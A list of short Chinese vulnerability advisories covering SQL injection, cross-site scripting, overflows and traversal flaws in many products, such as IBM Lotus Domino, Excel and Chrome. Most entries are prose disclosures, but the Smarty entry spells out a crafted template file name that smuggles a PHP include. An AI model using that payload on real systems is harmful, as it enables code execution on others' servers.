ReOS是一个开源的互联网房地产管理应用程序。ReOS index.php脚本中存在SQL注入漏洞，这是由于没有合理地验证输入给form1_ref_immo变量的数据，就进行SQL查询导致的。攻击者可构造各种恶意的SQL查询语句，执行对数据库的查讯，获取敏感信息或进一步利用底层数据库的漏洞发起其他攻击。
F-Secure Policy Manager是一款基于WEB的策略管理器。F-Secure Policy Manager包含的WebReporting模块存在跨站脚本和路径泄露漏洞，远程攻击者可以利用漏洞获得敏感信息或劫持目标用户会话。
Elecard MPEG Player是一款媒体播放程序。Elecard MPEG Player处理'.m3u'文件存在缓冲区溢出，攻击者构建恶意文件，诱使用户解析，可以应用程序安全上下文执行任意代码。
DiddyFtpServer是一款小型的FTP服务程序。DiddyFtpServer不正确处理用户提交的输入，远程攻击者可以利用漏洞通过目录遍历攻击获得系统敏感文件。
GNOME Display Manager是一款图形登录程序。问题是由于GNOME显示管理器使用不正确的用户名调用"PostLogin"脚本，可导致$USER, $USERNAME和$LOGNAME变量指派一个错误的值(如"gdm"代替登录用户的用户名)。
Linux是一款开放源代码的操作系统。ldm_get_vblks in fs/partitions/ldm.c(用于LDM分区表)中存在一个除零错误，允许通过一个破坏的LDM分区表进行拒绝服务攻击(内核Oops)。
Linux是一款开放源代码的操作系统。ldm_frag_add in fs/partitions/ldm.c(用于LDM分区表)存在一个缓冲区溢出，允许通过破坏的LDM分区表提升特权或获得敏感信息。
Citrix XenApp是一款端到端的Windows应用交付系统，可以实现客户端和服务器端的应用虚拟化。XenApp和XenDesktop的XML服务接口存在安全漏洞，允许远程未验证攻击者以XenApp或XenDesktop服务器上的服务账户上下文执行任意代码。发送特制的报文给受影响的组件可触发此漏洞。
Citrix Licensing存在多个安全漏洞，允许恶意用户绕过部分安全限制，进行拒绝服务等攻击。Citrix Licensing管理控制台下的组件存在未明错误，目前没有详细漏洞细节提供。
Gitolite是一款Perl语言开发的Git服务管理工具。Gitolite是处理管理员定义命令存在错误，攻击者可以利用目录遍历攻击以gitolite服务器特权执行任意命令。要成功利用此漏洞需要服务启用ADC命令(在rc文件中设置"GL_ADC_PATH").
EA Battlefield是一款名叫战地风云的游戏。当处理某些命令时存在空指针应用错误，攻击者发送特制的报文可使服务器崩溃。
WinMerge是一款运行于Windows系统下的免费开源的文件比较/合并工具。WinMerge在解析.winmerge项目文件格式时不正确过滤用户提供的输入，攻击者可以利用漏洞溢出栈缓冲区。构建特制文件，诱使用户解析可导致以应用程序安全上下文执行任意代码。
Ruby是一款功能强大的面向对象的脚本语言。Ruby中"FileUtils.remove_entry_secure"方法存在竞争条件错误，本地攻击者可以利用符号链接攻击删除任意目录。
PIPI Player(皮皮播放器)是一款国内流行的高清电视播放器。ActiveX控件（PIPIWebPlayer.ocx）中的PlayURLWithLocalPlayer（）函数在处理URL地址时没有做有效的检测导致存在栈溢出漏洞。远程攻击者可以利用漏洞以应用程序安全上下文执行任意代码。
PIPI Player(皮皮播放器)是一款国内流行的高清电视播放器。ActiveX控件（PIPIWebPlayer.ocx）中的PlayURL（）函数在处理URL地址时没有做有效的检测导致存在栈溢出漏洞。远程攻击者可以利用漏洞以应用程序安全上下文执行任意代码。
MySQL Eventum是一款缺陷跟踪系统。通过"full_name" POST参数传递给preferences.php(当"cat" POST参数设置为"update_name"时)脚本的输入在使用前缺少过滤，攻击者可以利用漏洞进行跨站脚本攻击。可获得敏感信息或劫持目标用户会话。
Linux是一款开放源代码的操作系统。多个procfs和sysfs文件(如asus_acpi)全局可写，攻击者可以利用漏洞更改某些设置，写部分硬件寄存器或NVRAM或安装某些固件。
ClamAV是一款基于unix下的反病毒应用程序。libclamav/vba_extract.c提供的"vba_read_project_strings()"函数存在两次释放错误，攻击者构建恶意文件可触发此漏洞。
JIRA是澳大利亚Atlassian公司开发的一款商业问题跟踪工具。JIRA对部分输入在用于重定向用户之前没有正确过滤，攻击者可以构建恶意脚本代码，诱使用户点击，重定向用户到任意WEB站点，可能泄漏敏感信息。
Asterisk是一款开放源码的软件PBX，支持各种VoIP协议和设备。main/udptl.c提供的"decode_open_type()"和"udptl_rx_packet()"函数存在边界错误，当解码UDPTL报文时，攻击者提交特制报文可触发堆和栈的溢出。配置了T.38 pass through 或termination的系统受此漏洞影响。
Avahi是一款用于监视局域网内在线机器的程序。向avahi 5353端口发送空UDP报文，可触发死循环，造成100% CPU利用率。
Apache Tomcat是一款开放源码的JSP应用服务器程序。Apache Tomcat在实现上存在漏洞。攻击者可利用此漏洞绕过某些安全限制，访问网络服务器上的任意文件和目录。
PHP-Nuke是一款流行的基于PHP的论坛程序。PHP-Nuke 'Downloads'模块不正确过滤用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，可提交恶意SQL查询更改原来的SQL逻辑，修改数据库。
Oracle Database是一款商业性质的大型数据库。当处理参数文件时(PARFILE)基于命令行的导出工具(exp.exe)存在安全错误。构建包含超长字符串的"file"参数的特制文件，诱使用户处理可触发基于栈的缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
IBM FileNet P8是一款内容管理解决方案。IBM FileNet P8在处理需要PRIVILEGED_WRITE访问权限的操作时，内容引擎存在一个错误，攻击者可以利用漏洞修改对象库中的某些对象属性。
BWMeter是一款能强大的带宽测试和监视程序。BWMeter不正确处理'.csv'文件，攻击者可以构建恶意文件，诱使用户解析，使应用程序崩溃。
Wireshark是一款开放源代码的网络协议分析工具。Wireshark Visual C++分析器存在一个缓冲区溢出，攻击者可以利用漏洞以应用程序上下文执行任意代码。
Ruby on Rails是一款Web应用程序框架，构建在Ruby语言之上。如果提交的请求来自C类网络，Ruby on Rails无法正确过滤X-Forwarded-For头字段数据，攻击者利用此漏洞可进行跨站请求伪造，跨站脚本，HTML注入等攻击，此漏洞可影响内部应用程序。
Naughter Software AutoPlay是一款媒体播放程序。Naughter Software AutoPlay处理特制的'ini'文件时存在缓冲区溢出，攻击者可以利用漏洞构建恶意文件诱使用户解析，可以以应用程序上下文执行任意代码。
Linux是一款开放源代码的操作系统。Linux中fs/xfs/xfs_fsops提供的"xfs_fs_geometry()"函数没有正确初始化"xfs_fsop_geom_t"结构的"logsunit"成员，当拷贝数据到用户空间时，可泄漏内核栈内存。
IBM FileNet RE(Rendition Engine)作为文档转换软件，实现了将文档转换成其它格式的解决方案。RE是FileNet P8产品家族中四大引擎之一。IBM FileNet RE存在一个未明错误，未经授权用户成功利用漏洞可以获得用于配置RE内部数据库用户相同的访问权限。
ActFax Server是一款windows和unix系统下的传真服务器软件。LPD/LPR服务器存在边界错误，发送特制命令给服务器可触发基于栈的缓冲区溢出,允许恶意用户获得对目标用户系统的控制。
ActFax Server是一款windows和unix系统下的传真服务器软件。ActFax Server处理FTP "RETR"命令存在边界错误，发送包含超长字符串的"RETR"命令给FTP服务器，可触发基于栈的缓冲区溢出，允许恶意用户获得对目标用户系统的控制。
phpMyBitTorrent是一款采用PHP开发的BitTorrent Tracker。phpMyBitTorrent提供的confirminvite.php不正确过滤用户提交给"id"的输入，远程攻击者可以利用漏洞提交恶意SQL查询，更改原来的SQL逻辑，获得敏感信息。
Lingxia 273 I.C.E. CMS是一款内容管理系统。Lingxia 273 I.C.E. CMS 'media.cfm'不正确过滤用户提交的输入，远程攻击者可以利用漏洞提交恶意SQL查询，更改原来的SQL逻辑，获得敏感信息。
F-Secure Internet Gatekeeper是一款优秀的网关防毒软件。F-Secure Internet Gatekeeper存在安全漏洞，攻击者可以利用此漏洞未授权访问日志文件中保存的信息。
Oracle Database是甲骨文公司的一款关系数据库管理系统。Oracle Database在验证用户提供的数据时存在远程栈缓冲区溢出漏洞，攻击者可利用此漏洞在受影响应用程序中执行任意代码，造成拒绝服务。此漏洞位于解析Oracle导出程序的命令行上指定的参数文件中的“file”字段。
PHP是一款流行的编程语言。php exit扩展提供的exif_read_data函数处理某些特制标签存在问题，远程攻击者可以利用漏洞使PHP应用崩溃，造成拒绝服务攻击。
PHP是一款流行的编程语言。ext/zip/lib/zip_name_locate.c提供的"_zip_name_locate()"函数存在空指针引用错误，使用"ZipArchive"类对特制归档执行某些操作时可导致应用程序崩溃。要成功利用此漏洞需要使用"ZIPARCHIVE::FL_UNCHANGED"选项。
OpenLDAP是一款开放源代码的LDAP目录服务实现。OpenLDAP存在安全漏洞，处理"rootdn"识别名(DN)的验证时"back-ndb"组件存在错误，攻击者利用此漏洞无需密码即可执行任意操作(如搜索或更新)。要成功利用此漏洞需要知道slapd.conf配置文件中"rootdn"值内容。
OpenLDAP是一款开放源代码的LDAP目录服务实现。OpenLDAP存在安全漏洞，当从服务器转发密码失败给主服务器时"back-ldap"组件存在错误，攻击者可以使用非法密码成功验证。要成功利用此漏洞需要主和从服务器都配置了"ppolicy_forward_updates"选项。
MySQL Eventum是一款用户友好，灵活的缺陷跟踪系统。MySQL Eventum存在跨站脚本漏洞，通过"customer_id", "status", "priority", "category", "customer_email", "reporter", "release"和"pageRow"参数传递给list.php的输入在返回用户之前缺少过滤，可导致在目标用户浏览器上执行任意HTML或者脚本代码。
MySQL Eventum是一款用户友好，灵活的缺陷跟踪系统。MySQL Eventum存在多个跨站脚本漏洞，通过"keywords"参数传递给list.php的输入在返回用户之前缺少过滤，可导致在目标用户浏览器上执行任意HTML或者脚本代码。
MySQL Eventum是一款用户友好，灵活的缺陷跟踪系统。MySQL Eventum存在跨站脚本漏洞，追到forgot_password.php等URL之后的输入在返回用户之前缺少过滤，可导致在目标用户浏览器上执行任意HTML或者脚本代码。
Microsoft Windows Server是一款微软发行的服务器操作系统。Mrxsmb.sys驱动不正确处理用户提交的'BROWSER ELECTION'请求，攻击者提交恶意请求可触发缓冲区溢出，漏洞代码类似如下：if ((Len + 1) * sizeof(WCHAR)) > TotalBufferSize) { Len =TotalSize/sizeof(WCHAR) - 1; }-1可导致len变为0xFFFFFFFF。
IBM Lotus Connections是一款基于J2EE的社会协作服务软件。IBM Lotus Connections应用程序调用的外部登录模块存在未明错误，目前没有详细漏洞细节提供。
WordPress是一款免费的论坛Blog系统。WordPress的TagNinja插件"id"参数在实现存在跨站脚本执行漏洞，远程攻击者可利用此漏洞在受影响站点执行任意代码，窃取Cookie凭证。
Smarty是一个使用PHP写出来的模板引擎。Smarty $smarty.template存在安全漏洞，允许攻击者绕过安全限制。如果模板源文件命名为'.(include 'hack.php').'.tpl，并且只包含{$smarty.template}字符串，就会编译为如下代码：<?php echo ''.(include 'hack.php').'.tpl';?>可导致能有效包含hack.php文件。漏洞代码应该存在于sysplugins/smarty_internal_compile_private_special_variable.php文件(60行)中。
MoviePlay是一款媒体播放软件。MoviePlay不正确处理特制的'.lst'文件，攻击者可以利用此漏洞进行缓冲区攻击，成功利用漏洞可以以应用程序安全上下文执行任意代码。
XM Easy Personal FTP Server是一款FTP服务程序。XM Easy Personal FTP Server不正确处理TYPE命令，远程攻击者可以利用漏洞使服务程序崩溃，造成拒绝服务攻击。
Pidgin是一款多协议即时通信软件。libpurple/cipher.c中的"md5_uninit()", "md4_uninit()", "des_uninit()", "des3_uninit()", "rc4_uninit()"和"purple_cipher_context_destroy()"函数在释放之前没有正确清除某些数据结构，攻击者可以利用漏洞获取libpurple释放的内存区域的部分敏感信息。
Java运行时环境（JRE）是一款为JAVA应用程序提供可靠的运行环境。Oracle Java "JFileChooser"实现存在安全策略绕过漏洞，远程攻击者可利用此漏洞覆盖或修改受此漏洞影响系统上的任意文件。
Linksys WAP610N是一款无线路由器。Linksys WAP610N存在无需验证远程管理控制台，允许攻击者以root用户运行系统命令。
IDA Pro是一款功能强大的静态反编译软件。装载Mac OS X Mach-O文件时IDA Pro存在一个错误，攻击者构建特制文件，诱使用户解析可触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
Control Microsystems是施耐德电器公司，全球SCADA硬件和软件产品提供商。ClearSCADA是包含轮训引擎，实时数据库，WEB服务器，报警处理器和报告软件的集成SCADA主机平台。ClearSCADA存在多个安全漏洞：1，ClearSCADA应用程序存在基于堆的缓冲区溢出，溢出为释放后使用类型堆溢出。发送包含超长字符串的合法报文可触发堆破坏。2，ClearSCADA提供的支持HTTP和HTTPS的WEB接口，默认情况下，ClearSCADA服务器使用HTTP，这允许任何人可通过嗅探获得明文验证信息。3，WEB接口存在反射型跨站脚本攻击，利用这个漏洞，攻击者可以把恶意代码直接注入到用户浏览器会话中。返回给用户的参数缺少过滤。
7T Interactive Graphical SCADA System是一款自动化监视和控制系统。攻击者可以向目标服务器监听的20222 TCP端口发送特制报文，可触发拒绝服务或任意代码执行攻击。
xRadio是一款可以收听网络电台应用程序。xRadio不正确处理特制的'.xrl'文件，攻击者可以利用漏洞以应用程序安全上下文执行任意代码。
MetaSploit Framework是一款开源渗透测试工具软件集合包。MetaSploit Framework不安全设置文件权限，本地攻击者可以利用漏洞覆盖Metasploit目录中的任意文件，最后以高特权执行任意代码。
Linux是一款开放源代码的操作系统。space_args.space_slots为可由非特权调用控制的无符号64位类型。与符号整数类型对比时允许提供负值，导致分配过小的大小或截断为0.通过提供会截断为0的大小参数，kmalloc()会返回ZERO_SIZE_PTR。也可以提供小于slot的值，后续拷贝数据时循环操作会忽略分配大小，造成堆溢出或写入ZERO_SIZE_PTR。
Invision Power Board是一款基于PHP的论坛程序。Invision Power Board在查看主题标题时，应用程序没有正确的进行验证，攻击者可以利用漏洞查看密码保护论坛中的主题标题信息。
Django是一款开放源代码的Web应用框架，由Python写成。-存在跨站请求伪造漏洞。-上传文件中渲染文件字段存在跨站脚本问题。-windows平台的应用存在跨站脚本攻击，可泄漏系统文件信息。
Google Chrome是一款流行的WEB浏览器。Google Chrome存在多个安全漏洞：(1)应用程序绑定的Flash插件存在一个未明安全漏洞。(2)动画事件处理存在一个悬浮指针问题。(3)处理SVG字体外观存在释放后使用错误。(4)匿名块处理存在一个悬浮指针问题。(5)插件处理存在错误可引发越界读取。(6)进程不正确终止可导致内存不足。远程攻击者可以利用漏洞使应用程序崩溃或以应用程序上下文执行任意代码。
DESlock+是一款流行的数据加密工具。DESlock+ vdlptokn.sys驱动不正确处理'\\.\DLPTokenWalter0'请求，本地攻击者可以利用漏洞提升特权。
AoA DVD Creator创建或转换影片为DVD的工具，AoA MP4 Converter是一款视频转换器。AoA DVD Creator和MP4 Converter提供的ActiveX控件处理'InitLicenKeys()'方法存在缓冲区溢出，攻击者构建恶意WEB页，诱使用户解析，可以应用程序安全上下文执行任意代码。
Microsoft Excel是一款微软开发的电子表格处理程序。 应用程序解析Microsoft Excel文档中的Office Art对象的方法存在缺陷。具体的讲，当解析Office art对象记录时，如果发生错误，应用程序会对链列表中的元素增加stray引用，当接收到窗口消息时，应用程序会继续浏览这个链表，访问畸形对象中的方法可导致以当前应用程序上下文执行任意代码。
WordPress是一款流行的blog系统。WordPress存在多个跨站脚本和信息泄漏问题，攻击者可以利用跨站脚本漏洞在目标用户浏览器上执行任意脚本代码，攻击者可以窃取基于COOKIE的验证凭据或进行其他攻击。成功利用漏洞可以获得敏感信息。
Techphoebe QuickShare File Server是一款共享文件服务程序。FTP服务器没有正确过滤目录遍历序列，攻击者提交特殊构建的命令可以WEB权限读或写服务器WEB ROOT之外的文件。
SCO Open Server是一款unix操作系统。负责处理远程IMAP请求的imapd存在缺陷，进程没有正确校验IMAP命令和参数，提供非法参数的超长命令可触发溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
ProFTPD是一款FTP服务程序。ProFTPD 'mod_sftp'模块存在一个整数溢出，远程攻击者可以利用此漏洞使应用程序崩溃，可能以应用程序上下文执行任意代码。
phpBB是一款流行的WEB论坛程序。phpBB存在多个输入验证问题，远程攻击者可以利用漏洞进行跨站脚本攻击，可获得敏感信息或劫持目标用户会话。
Microsoft Excel是一款微软开发的电子表格处理程序。应用程序解析Office art容易起中的外部对象的方法存在缺陷，当解析此缺陷时，应用程序会把未初始化对象追加到列表中，当在文档关闭(WM_DESTROY)销毁此对象时，应用程序会访问不存在的方法，可导致以应用程序上下文执行任意代码。
Microsoft Excel是一款微软开发的电子表格处理程序。当解析畸形Excel文档时存在缺陷。解析office art对象时，应用程序会把畸形对象增加到链列表中，在此之后，应用程序会处理链列表中的每个元素。当处理Question中的对象时，应用程序会盲目信任此对象的函数指针，攻击者可替代此对象的函数指针，可以以应用程序上下文执行任意代码。
Microsoft Excel是一款微软开发的电子表格处理程序。应用程序错误的校验用于数组的索引，应用程序拷贝特定元素内容到静态的固定大小栈缓冲区时缺少充分的边界检查，成功利用漏洞可以以应用程序上下文执行任意代码
Microsoft Excel是一款微软开发的电子表格处理程序。应用程序所支持的office绘图文件格式存在缺陷，当解析特定容器中的轮廓数据时，应用程序会增加一个链接列表中某个对象的引用，如果在解析过程中发生一个错误，应用程序会释放每个元素而不正确删除这个引用，之后，应用程序会不正确再次使用此引用，可导致以应用程序上下文执行任意代码。
IBM Lotus Domino服务器是一款基于WEB合作的应用程序架构。当处理畸形Email时，SMTP服务中存在错误，进程会不断把文件名参数中的每个参数追加到内存中的缓冲区，通过提供足够的数据可溢出缓冲区，导致以SYSTEM用户上下文执行任意代码。
IBM Lotus Domino服务器是一款基于WEB合作的应用程序架构。默认监听389端口的nLDAP.exe组件存在缺陷，当处理LDAP绑定请求报文时进程会盲目拷贝用户提供的数据到过小的共享内存缓冲区，远程攻击者成功利用漏洞可以以SYSTEM用户上下文执行任意代码。
IBM Lotus Domino服务器是一款基于WEB合作的应用程序架构。处理畸形日历会议请求过程中nrouter.exe存在一个缺陷，进程会拷贝Content-Type头字段中name参数内容到固定大小栈缓冲区，提供足够多的数据可溢出缓冲区以SYSTEM用户上下文执行任意代码。
IBM Lotus Domino服务器是一款基于WEB合作的应用程序架构。默认监听动态TCP端口的ndiiop.exe组件存在缺陷，当处理GIOP getEnvironmentString时，在检查本地变量缓存过程中进程盲目拷贝用户提供的数据到栈缓冲区中，远程攻击者可以利用漏洞以SYSTEM用户上下文执行任意代码。
IBM Lotus Domino服务器是一款基于WEB合作的应用程序架构。默认监听动态TCP端口的ndiiop.exe组件存在缺陷，当处理GIOP客户端请求报文类型时，进程会由于无符号错误而错误分配缓冲区大小，之后拷贝用户数据到过小的堆缓冲区，远程攻击者可以利用漏洞以SYSTEM用户上下文执行任意代码。
IBM Lotus Notes服务器是一款基于WEB协同工作的应用程序架构，运行在Linux/Unix和Microsoft Windows操作系统平台下。当处理cai:// URIs中的畸形字符串时存在缺陷，可注入'--launcher.library'开关参数并从网络共享中直接装载DLL，导致以当前用户执行任意代码。
IBM Lotus Domino服务器是一款基于WEB合作的应用程序架构。当处理进行Email时POP3和IMAP服务存在缺陷，受影响代码会扩展"mail from"命令中的非打印字符并没有分配足够的控件，提供足够多的此类字符，可破坏内存而以SYSTEM用户上下文执行任意代码。
IBM Lotus Domino服务器是一款基于WEB合作的应用程序架构。当传送畸形EMAIL过程中NRouter服务存在缺陷，受影响代码会把EMAIL中ATTACH:CID和Content-ID头字段的数据拷贝到固定长度的缓冲区。提供超长文件名，可溢出缓冲区以SYSTEM用户上下文执行任意代码。
Kolibri WebServer是一款WEB服务程序。Kolibri WebServer处理特制的WEB请求存在错误，处理包含超长字符串的GET或HEAD请求可触发基于栈的缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
IBM Informix Dynamic Server是一款数据库服务程序。当处理SQL查询中USELASTCOMMITTED选项的参数时，绑定TCP 9088端口的oninit进程存在缺陷，用户提供的数据会没有任何边界检查就拷贝到基于栈的缓冲区中，触发缓冲区溢出，成功利用漏洞可以以数据库服务器上下文执行任意代码。
IBM Rational Team Concert是一款基于Jazz技术平台的第一个Rational商用产品，可以提供全方位的协作化软件开发支持。通过report名传递的输入在显示用户之前缺少充分过滤，攻击者可以利用漏洞进行跨站脚本攻击，可获得敏感信息或劫持目标用户会话。
HP Data Protector软件是一款成熟的企业级数据保护平台，可不受距离限制通过磁盘或磁带自动执行高性能备份和恢复。默认监听随机TCP端口的Cell manager服务存在缺陷，crs.exe不正确校验用户提供的用户名，域名和主机名凭据，远程攻击者可以利用此缺陷在所有Data Protector客户端上执行任意代码。
HP Data Protector软件是一款成熟的企业级数据保护平台，可不受距离限制通过磁盘或磁带自动执行高性能备份和恢复。EXEC_SETUP命令实现存在缺陷，命令可指示Data Protector客户端下载和执行设置文件，恶意攻击者可以指示客户端访问共享中的文件，并以当前用户上下文执行任意代码。
HP Data Protector软件是一款成熟的企业级数据保护平台，可不受距离限制通过磁盘或磁带自动执行高性能备份和恢复。EXEC_CMD命令过滤器存在缺陷，Data Protector客户允许远程连接执行本地bin目录中文件，向EXEC_CMD命令提供恶意特制输入，远程攻击者可以交互PERL解析器，以当前用户上下文执行任意代码。
HP Data Protector软件是一款成熟的企业级数据保护平台，可不受距离限制通过磁盘或磁带自动执行高性能备份和恢复。EXEC_CMD命令过滤器存在缺陷，Data Protector客户端仅校验文件名，没有检查其内容，提供特定脚本文件的恶意代码，可以当前用户上下文执行任意代码。
Hitachi Tuning Manager是一款具备自动化、智能式及路径感知功能的存储资源管理软件，能够监控、分析及审核由应用至存储设备的存储网络资源性能。Hitachi Tuning Manager存在多个输入验证问题，远程攻击者可以利用漏洞进行跨站脚本攻击，可获得敏感信息或劫持目标用户会话。
Feh是一款轻量级、强大的图像查看器。src/utls.c中的"feh_unique_filename()"函数会生成可预测的文件名，本地攻击者可以通过符号链接攻击覆盖任意文件。
Conky是一款用于X视窗系统的系统监视软件。Conky's "eve"模块不安全使用"/tmp/.cesf"文件，攻击者可以利用符号链接攻击者覆盖任意文件。要成功利用此漏洞需要应用程序编译并配置了"eve"模块。
Check Point Endpoint Security是一款旨在保护企业的笔记本电脑和台式电脑免受恶意软件、数据丢失的应用解决方案。Endpoint Security Server和Integrity Server没有对WEB ROOT目录下的"conf"和"bin"目录设置正确的访问限制，允许远程未验证用户下载私有SSL密钥。如下版本产品受此漏洞影响：Endpoint Security Server: R71, R72 and R73Integrity Server: 7.x
Accellion File Transfer设备是企业级安全合作和管理文件传输解决方案。Accellion File Transfer在实现上存在Message Routing Daemon相关漏洞，攻击者可使用已知的、非随意身份验证密钥执行管理员操作。
PHP Director Game Edition是用于创建免费flash游戏的管理系统。PHP Director Game Edition game.php脚本存在SQL注入漏洞，由于缺少对该脚本页面的id参数的严格过滤，就执行对数据库的SQL查询，导致SQL注入攻击。远程攻击者可利用此漏洞构造恶意的SQL语句，获取数据库信息，导致敏感信息泄露。
Techphoebe QuickShare File Server是一款FTP服务程序。Techphoebe QuickShare File Server存在目录遍历漏洞，匿名或验证用户可以获得指定目录之外的文件，获得敏感信息。
Moxa Device Manager是一款用于Moxa嵌入式计算机的远程管理工具。当处理某些消息时"MDMUtil.dll"模块存在边界错误，诱使用户链接恶意MDM网关可触发基于栈的缓冲区溢出。成功利用漏洞可以以应用程序安全上下文执行任意指令。
IBM Rational Build Forge是一款自动化流程执行软件，能帮助客户进行自动化软件构建，测试及发布。部分传递给fullcontrol/的输入在返回用户之前缺少正确过滤，攻击者可以利用漏洞进行任意HTML和脚本代码攻击，可获得敏感信息或劫持目标用户会话。
HTC Peep是一款HTC Hero内置的一个Twitter客户端。HTC多个产品存在安全漏洞，允许恶意用户获得敏感信息。由于默认Twitter应用程序(peep)以BASE64编码或明文方式传送验证凭据，攻击者可以通过嗅探网络或中间人攻击方法获得验证凭据。运行在如下设备下的Peep version 2_5_19212224_0受此漏洞影响：* HTC HD2* HTC HD mini* HTC Touch Diamond2* HTC Touch Pro2
Google Chrome是一款流行的WEB浏览器。Google Chrome音频处理存在一个竞争条件错误，允许攻击者进行拒绝服务或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome自动填充配置文件存在一个错误可被用于更改配置文件数据，允许攻击者进行拒绝服务或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome对跨源拖放操作缺少正确的限制，允许攻击者进行拒绝服务或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google ChromePDF事件处理器存在错误可触发内存破坏，允许攻击者进行拒绝服务或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome装载图像时存在一个释放后使用错误，允许攻击者进行拒绝服务或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome沙盒相关"stat()"的函数存在一个错误，可泄漏敏感信息，此漏洞仅影响MAC OS X版本。
Microsoft Windows Azure是一款可与现有系统环境轻松衔接的云计算平台，包括Windows Azure操作系统、SQL Azure云计算数据库、可实现云和云计算应用程序轻松通信。Microsoft Windows Azure存在安全问题，允许远程攻击者获得敏感信息。此问题影响使用ASP.NET开发的应用程序和使用部署了WEB ROLE的SDK v1.3的新的"Full IIS"功能。"Web Role"被定义为单一的HTTP端点和单一的用于外部客户端的HTTPS端点。在特定情况下，此问题影响使用COOKIE维持会话或会话间(一个会话上的互动可能影响到之后会话中的信息)状态信息的WEB站点和服务。这些COOKIE加密保护使得客户端可查看状态信息的传递，但看不到状态信息的内容，也不能更改它。但是由于WEB ROLES中的一个问题，可使客户端用来判断状态信息的内容(虽然客户端仍然不能更改它)。如果WEB站点是否能查看这些内容取决于客户端，那么其安全性就会大打折扣。
Xerox WorkCentre是一款款多功能一体机。Xerox WorkCentre包含的WEB服务程序存在命令注入漏洞，允许远程攻击者构建特制输入执行任意代码。目前没有详细漏洞细节提供。
FTPGetter是一款能自动进行日常FTP下载和上传任务的工具。向PASV命令发送应答存在错误，攻击者可以利用漏洞触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意指令。
BMC PATROL是一款系统管理解决方案，主要针对需要进行远端监控的中大型企业，提供最佳轻型系统监管方案。BMC PATROL多个产品中代理服务守护进程默认监听TCP 6768端口，当处理BGS_MULTIPLE_READS时，没有正确检查用户提供的长度值，在利用这个值读取任意数据到栈缓冲区时可触发缓冲区溢出，成功利用漏洞可以以SYSTEM用户上下文执行任意代码。
Apache Tomcat是一款开放源码的JSP应用服务器程序。当访问调用"javax.servlet.ServletRequest.getLocale()"或"javax.servlet.ServletRequest.getLocales()"函数的页面时，JVM中存在一个错误，通过包含特制头字段的(如 "Accept-Language")WEB请求可使进程挂起，造成拒绝服务攻击。
AOL Desktop是AOL推出的桌面搜索软件，能够快速地搜索文档、图片、音乐、视频和email等信息。AOL Desktop处理'.rtx'文件存在缓冲区溢出错误，攻击者构建特制文件，诱使用户访问，可导致以应用程序安全上下文执行任意代码。
Sun Java在实现上存在远程拒绝服务漏洞。远程攻击者可利用此漏洞造成用Java编写的应用程序挂起造成拒绝服务。
Terminal Server Client是一款远程桌面连接客户端。Terminal Server Client (tsclient)存在多个安全漏洞，允许攻击者进行拒绝服务和任意代码执行攻击。-处理"hostname"参数时"tsc_launch_remote()"(src/support.c)函数存在边界错误，提交超长字符串(超过255字节)可触发基于栈的缓冲区溢出。-处理"username"参数时"tsc_launch_remote()"(src/support.c)函数存在边界错误，提交超长字符串(超过255字节)可触发基于栈的缓冲区溢出。-处理"password"参数时"tsc_launch_remote()"(src/support.c)函数存在边界错误，提交超长字符串(超过255字节)可触发基于栈的缓冲区溢出。-处理"password"参数时"tsc_launch_remote()"(src/support.c)函数存在边界错误，提交超长字符串(超过255字节)可触发基于栈的缓冲区溢出。构建恶意RDP文件，诱使用户解析，可以应用程序上下文执行任意代码。
Xinha是一款开源的、所见即所得（WYSIWYG）模式的web编辑器。Xinha多个产检使用PHP脚本以处理特殊用途，如ImageManager或ExtendedFileManager，存在0-DAY可利用这些插件上传恶意文件到WEB空间，并执行恶意代码。输入直接传递给"ExtendedFileManager"插件中的"backend.php"脚本提供的"mode"参数，在返回给用户之前缺少充分过滤，可导致跨站脚本攻击。
Open Handset Alliance Android是一款超过30家科技与移动电话公司所组成的团体开发的免费的移动电话平台。Open Handset Alliance Android存在安全漏洞，允许本地攻击者提升特权。
Aruba Mobility Controller是一款为企业提供移动接入的解决方案。Aruba Mobility Controller允许使用EAP-TLS Dot1X验证的无线用户的本地终端访问网络和通过EAP-TLS进行验证。本地Dot1X终端允许不通过具有EAP-TLS验证功能的外部验证服务器来快速配置WLAN。Mobility Controller中的EAP-TLS Dot1X终端组件存在漏洞允许对某些无线用户提供未授权网络访问。EAP-TLS Dot1X终端不是默认设置，必须在使用之前手动配置。如果使用外部验证服务器的无线用户不受此漏洞影响。其他相同Mobility Controller上的WLANs如果不适用Dot1X EAP-TLS本地终端也不受此漏洞影响。
Aruba Mobility Controller是一款为企业提供移动接入的解决方案。畸形802.11探测请求帧可导致AP崩溃，对客户端造成临时的拒绝服务条件，触发此条件不需要与无线网络建立成功的SA，AP需要重新启动恢复正常服务。无线客户端使用的802.11探测请求帧用于发现无线网络，畸形的探测请求帧可导致Aruba APs崩溃。加密和未加密的WLANs都受此漏洞影响。
Drupal是一款开放源码的内容管理平台。Drupal的PowerSQL模块在处理SQL查询时存在SQL注入漏洞，远程攻击者可利用此漏洞控制应用程序，访问或修改数据。
SDP Downloader是一款用于下载视频流媒体的免费下载工具。SDP Downloader处理特殊构建的'Content-Type'头字段存在错误，远程攻击者可以伪造恶意服务器，提交特制http_response应答触发此漏洞，成功利用漏洞可以以应用程序安全上下文执行任意代码。
Netzip是一款结合浏览器的解压缩程序。Netzip处理特殊构建的'.zip'文件存在缓冲区溢出，攻击者构建特制文件，诱使用户解析可以应用程序安全上下文执行任意代码。
IBM DB2 Universal Database Server是一款大型的商业关系数据库系统。负责处理向com.ibm.db2.das.core.DasSysCmd函数查询的db2dasrrm进程存在缺陷。在处理请求过程中，会把用户名拷贝到固定长的栈缓冲区，提交超长字符串可使拷贝操作溢出而导致任意代码执行。
IBM DB2 Universal Database Server是一款大型的商业关系数据库系统。当调用"DBADM"特权过程中应用程序存在错误，可导致用户可执行non-DDL语句。
